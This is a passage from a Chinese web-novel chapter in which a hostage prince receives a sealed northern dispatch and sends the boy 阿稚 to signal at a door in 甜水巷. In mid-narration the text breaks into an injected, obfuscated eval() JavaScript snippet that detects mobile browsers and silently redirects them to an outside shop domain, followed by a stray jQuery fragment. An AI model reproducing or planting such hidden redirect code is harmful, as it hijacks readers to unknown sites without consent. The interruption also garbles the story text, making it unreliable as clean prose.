阿稚在质子府住了两天。
两天里他没有说过很多话。
他起床很早，天没亮透就醒了，坐在西厢房的榻沿上，不穿鞋，赤脚踩着旧木地板，等院子里有动静才推门出去。
惠舟给他找了两件旧布衣，袖口折了两道才合身，衣摆长了一截，他走路的时候会下意识地用手拽住衣摆边缘，像怕拖到地上。
他学会了换水。
那碗凤仙花瓣每天换一片新的，他记住了——每天日出之前把旧花瓣捞出来，换上新水，再放一片新的进去。
黑猫蹲在碗沿边看他做完这些，然后低下头舔水。
阿稚蹲在旁边看着它舔水，没有伸手摸它，只是看。他不怎么说话，只在他认为需要说话的时候开口。
第一天傍晚他问惠舟：“阿父喜欢吃什么？”惠舟正在井台边洗笔，手上的动作没停，像没听见。
过了一小会儿他才开口：“……他没吃过几口热饭。你做了他也不一定吃，但你可以做。”阿稚没有再问。
第二天上午，他蹲在井台边，学着惠舟的样子洗笔——把旧笔放进水里，用指腹顺着笔毛的方向捋一遍，再换一碗清水过一遍，然后放回廊下晾干。
他做这些的时候不说话，动作的节奏稳定，像在把一种他已经学了很久的旧步骤重新适应一遍。
他没有问过这里是谁的院子，没有问过院子里的人的名字，没有问过他在废墟里抓住他手腕的人到底是谁。
但他每天都会在日出和黄昏之间，经过东厢房门口时停一息，朝屋里看一眼。
如果门开着，他会停一下；如果门关着，他就走过去。
第三天清晨，天色刚亮，院门被人叩了三下。
叩门声短促均匀，像是用指节敲一段被反复默念过的节拍。
泠无咎站在东厢房窗边，正在把那卷写了很久的帛纸从抽屉里取出来。
他没有看窗外，但他的手在听到那三声叩门的时候停了一下。
他开口了：“荆夜。”没有应答，但后墙根的廊柱阴影里，有一道呼吸声微微收紧了一线。
泠无咎把帛纸放在桌面上，没有卷起来，只是让它平铺着。
他走出东厢房，穿过院子，在院门后面站定，隔着一道门板，没有立刻拉开。
门板外侧有人开口了——声音急促，像是被赶了一夜的路、嗓子还没有完全恢复的沙哑：“质子——北境急报。”
泠无咎拉开门闩。
门板向外推开一条窄缝，日光涌入，门槛外侧站着一个穿灰褐短袍的驿卒，怀里抱着一只被蜡封过的旧竹筒，封口处的漆色已经干透了，边角磨损，像是被反复递送过很多次。
泠无咎接过那只竹筒，指腹在封口的蜡面上压了一下——蜡面光滑，没有新的划痕。
他低头看了一眼竹筒底部烙着的印记，一个小到几乎看不清的旧标记，没有被磨损的痕迹，与工尹府四年前停用后不再更新的旧编码纸的格式完全一致。
他把竹筒拢进袖中，说了一句话：“你从哪里来？”
驿卒的声音更低了一些：“北关。昨夜三更到的，加急。说是直接呈质子。”
泠无咎合上了门。
他走回东厢房，在桌边坐下。
阿稚正蹲在井台边洗笔，看见泠无咎拿着竹筒走进屋，手上的动作慢了一拍，但没有停下。
黑猫蹲在树桩上，耳朵微微向前倾着。泠无咎坐在桌边，用指甲挑开蜡封，从筒里倒出一卷薄薄的帛纸，边角已经被反复折叠过，折痕处泛着旧纸特有的、被反复压磨之后的光泽。
展开，看，从头看到尾，没有停顿。
他看完了，把帛纸放在桌面上，和之前那卷旧信并排放着，墨迹已经干透了，在晨光里泛着细碎的暗光。
他靠在椅背里，看着窗外那片被日光晒透了的院子。阿稚从井台边站起来，走到东厢房门口，在门槛外侧站住了。
他手里还攥着那支刚洗过的笔，笔尖在滴水，但他没有擦，只是站在那里，看着泠无咎的侧脸。
黑猫从树桩上跳下来，无声地走到门槛内侧，蹲在了阿稚脚边。泠无咎没有转头，目光依然落在窗外，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17942555|213957||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但他说了一句话：“信到了。”
阿稚站在门槛外侧，笔尖上的水珠滴落在青砖地面上，洇开一小片深色的湿痕。
泠无咎的声音从屋内传出来：“北境军需官拆了铜箱，看见了夹层里的东西。
他已经把消息送回来了——他说淮南君府私下通北的往来信函，已经被北境守军截获。”
他停了一下，“……他以为他截获了淮南君通敌的证据。”
阿稚站在门槛外侧，笔尖的水已经不滴了。他等了一会儿，泠无咎的声音又传了出来：“你今天去一趟甜水巷。不用说话，到了甜水巷第三家院门外面，蹲一下，蹲到有人开门，然后站起来走回来就行。”
阿稚站在门槛外侧，低头看了一眼自己手里那支笔尖还在渗水的旧笔，他把笔放回井台上，然后穿过院子，推开了院门。
黑猫跟在他脚边走了几步，在门槛内侧停住了，没有跨出去。
阿稚回头看了它一眼。猫蹲在门槛内侧，绿眼睛看着他。
阿稚跨过了门槛，向巷口走去。他走路的姿态和前几天不同了——步幅比之前长了一点，步伐比之前稳了一些，像一根正在缓慢适应新土壤、正在伸展它的根系以触及更深处的旧树。
他穿过东城，穿过通济桥，拐进甜水巷。第三家院门是暗红色的，门环是铜的。
他在门外的青砖地面上蹲了下来，像一块被放在那里的、小小的、不会移动的旧石。
他蹲了很久，久到日光从头顶移到了身后。然后门被从里面推开了，门轴转动的声音干燥而短促，像一枚旧锁芯被转动了半圈，门缝里露出一张瘦削的脸。
卫怜站在门内，低头看着蹲在门槛外侧的阿稚，没有说话。
阿稚也没有说话，站了起来，转身走了。他的步伐和来时一样稳，沿着来路穿过甜水巷、穿过通济桥、穿过东城，走回质子府。
他推门进来的时候，没有看东厢房，但他知道泠无咎在窗边看着那道从他走进来直到消失在门内的方向，正在用目光确认那枚新放出的标记已经落到了该落的位置上。